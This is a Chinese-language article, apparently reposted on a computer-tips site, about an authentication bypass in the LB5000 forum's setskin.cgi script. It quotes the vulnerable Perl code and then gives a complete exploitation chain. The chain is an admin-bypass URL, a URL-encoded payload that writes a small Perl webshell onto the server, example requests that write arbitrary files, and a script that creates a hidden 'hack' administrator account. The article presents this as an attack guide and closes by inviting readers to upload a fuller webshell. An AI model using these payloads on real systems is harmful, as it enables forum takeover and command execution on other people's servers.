萬盛學電腦網

 萬盛學電腦網 >> 應用技巧 >> LB5K論壇setskin.cgi存在管理員驗證可繞開漏洞

LB5K論壇setskin.cgi存在管理員驗證可繞開漏洞

>>>Dedicated This Scrap To CaoJing<<<

涉及版本:
LB5000XP所有版本,低於LB5000MX1.90(1.90已修復)所有版本

描述:
LB是一款由www.leoboard.com開發和維護的源代碼開放的cgi論壇;由於setskin.cgi存在管理員驗證可繞開漏洞,可能導致非法用戶控制論壇或以web權限在系統上執行任意命令

具體:
LB論壇管理菜單中有個“管理區插件設定“的特殊功能,我們來看看它是如何對管理員進行驗證的:
----------------------------------------------
62 $inmembername = cookie("adminname");
63 $inpassword = cookie("adminpass");
...
68 &getmember("$inmembername");
69 
70 if (($membercode eq "ad") && ($inpassword eq $password) && (lc($inmembername) eq lc($membername))) {
...
----------------------------------------------
其中getmember()是提取用戶資料的一個函數,如果$inmembername用戶存在它將返回此用戶的密碼、等級等信息,但要是這個用戶不存在呢?呵呵,這下可就壞了,我們還是先來看看getmember()函數的相關部分:
----------------------------------------------
sub getmember {
my $nametocheck = shift;
...
my $filetoopen = "$lbdir" . "$memdir/$nametocheck.cgi";
...
if ((-e $filetoopen)&&($nametocheck !~ /^客人/)) {#如果用戶存在就提取
...#省略大量提取用戶信息的代碼 
}
else { $userregistered = "no"; }#如果不存在,僅僅返回這個
}
----------------------------------------------
顯然當我們直接請求setskin.cgi文件的時候$inmembername為空,也就是說&getmember("$inmembername")這行只會返回個$userregistered = "no";但setskin.cgi文件中$userregistered連影都沒有,嘿嘿,問題出來了吧:&getmember("$inmembername")在setskin.cgi文件中“形同虛設“!!我們現在回過頭看第70行的驗證代碼:
($inpassword eq $password)和(lc($inmembername) eq lc($membername))已經搞定了,因為它們都為空嘛;只有($membercode eq "ad")尚待搞定,要這是PHP程序你肯定會脫口而出我們直接指定“membercode=ad”啊!要命的是在這裡你同樣可以這樣做,因為可愛的LB在setskin.cgi的開頭有這麼幾行:
----------------------------------------------
@params = $query->param;
foreach (@params) {
$theparam = $query->param($_);
$theparam =~ s/\@/\\\@/g;
$theparam =~ s/\$/\\\$/g;
$theparam = &unHTML("$theparam");
${$_} = $theparam;
----------------------------------------------
哈哈,爽吧,還等什麼,直接提交如下URL進入:
http://www.target.com/perl/lb5000mx/cgi-bin/setskin.cgi?membercode=ad
Yeah,成功!!
...恩,請小聲點,並沒有結束,相反,攻擊才開始。
上面這個是次要的,我們做不了什麼,但我們繞開了驗證,接下來的代碼才有味道呢!
----------------------------------------------
73 if ($action eq "process") {
74
75
76 $printme .= "1\;\n";
77
78 $filetomake = "$lbdir" . "data/leoskin.cgi";
79
80 open(FILE,">$filetomake");
81 flock(FILE,2) if ($OS_USED eq "Unix");
82 print FILE "$printme";
83 close(FILE);
----------------------------------------------
同樣,這裡的$printme也是我們手中控制的變量,可向data/leoskin.cgi覆蓋式的寫入東西,太好了,可寫什麼呢?要知道寫這次會覆蓋上一次寫的,它可沒耐心讓你一行一行,而且,它還處理了一批有用字符:
----------------------------------------------
52 $theparam =~ s/\@/\\\@/g;
53 $theparam =~ s/\$/\\\$/g;
54 $theparam = &unHTML("$theparam");
...
sub unHTML {
my $text = shift;
$text =~ s///g;
$text =~ s/\&/\&/g;
$text =~ s//\/ig;
$text =~ s/"/\"/g;
$text =~ s/ / \ /g;
$text =~ s/$text =~ s/>/\>/g;
$text =~ s/[\a\f\e\0\r\t]//isg;
$text =~ s/document.cookie/documents\&\#46\;cookie/isg;
return $text;
}
----------------------------------------------
My God,@&$”<>全軍覆沒,看來要動真格了,好,提交下面URL:
http://www.target.com/perl/lb5000mx/cgi-bin/setskin.cgi?membercode=ad&action=process&printme=use%20CGI%20qw(:standard)%3bopen(SKY,param('a'))%3bprint%20SKY%20param('b')%3b
文件data/leoskin.cgi現在變成什麼樣了呢?
----------------------------------------------
use CGI qw(:standard);open(SKY,param('a'));print SKY param('b');$printme = "use CGI qw(:standard);open(SKY,param('a'));print SKY param('b');";
1;
----------------------------------------------
實質起作用的是:
----------------------------------------------
use CGI qw(:standard);
open(SKY,param('a'));
print SKY param('b');
----------------------------------------------
這個小webshell酷吧,它能做許多事哦,比如說:
http://www.psych.com/perl/lb5000mx/cgi-bin/data/leoskin.cgi?a=>;>E:/PsYch/PERL/LB5000MX/cgi-bin/data/hack.cgi&b=hahahaha
這樣你就在E:/PsYch/PERL/LB5000MX/cgi-bin/data/目錄下新寫入了一個文件hack.cgi其內容為”hahahaha”;照同樣的方法把下面這個文件一行一行(我沒強迫你這樣做,你可以寫個小程序)寫到對方web下一個目錄:
----------------------------------------------
$lbpath="E:/PsYch/PERL/LB5000MX/cgi-bin/";####注意:此處請修改####
$ad="/hack.cgi";
opendir(DIR,"$lbpath");
@files=readdir(DIR);
close(DIR);
@memdir=grep(/^members/,@files);
$hack=$lbpath.@memdir[0].$ad;
open(HACK,">$hack");
print HACK "hack\thack\thack\tad\n";
----------------------------------------------
假使你把文件名定為 love.cgi,在/somepath目錄下,提交
http://www.target.com/somepath/love.cgi
哦,一個hack/hack管理員誕生了!當然,上傳個功能強使用方便的webshell上去也行,不過那是你自己的工作了!
copyright © 萬盛學電腦網 all rights reserved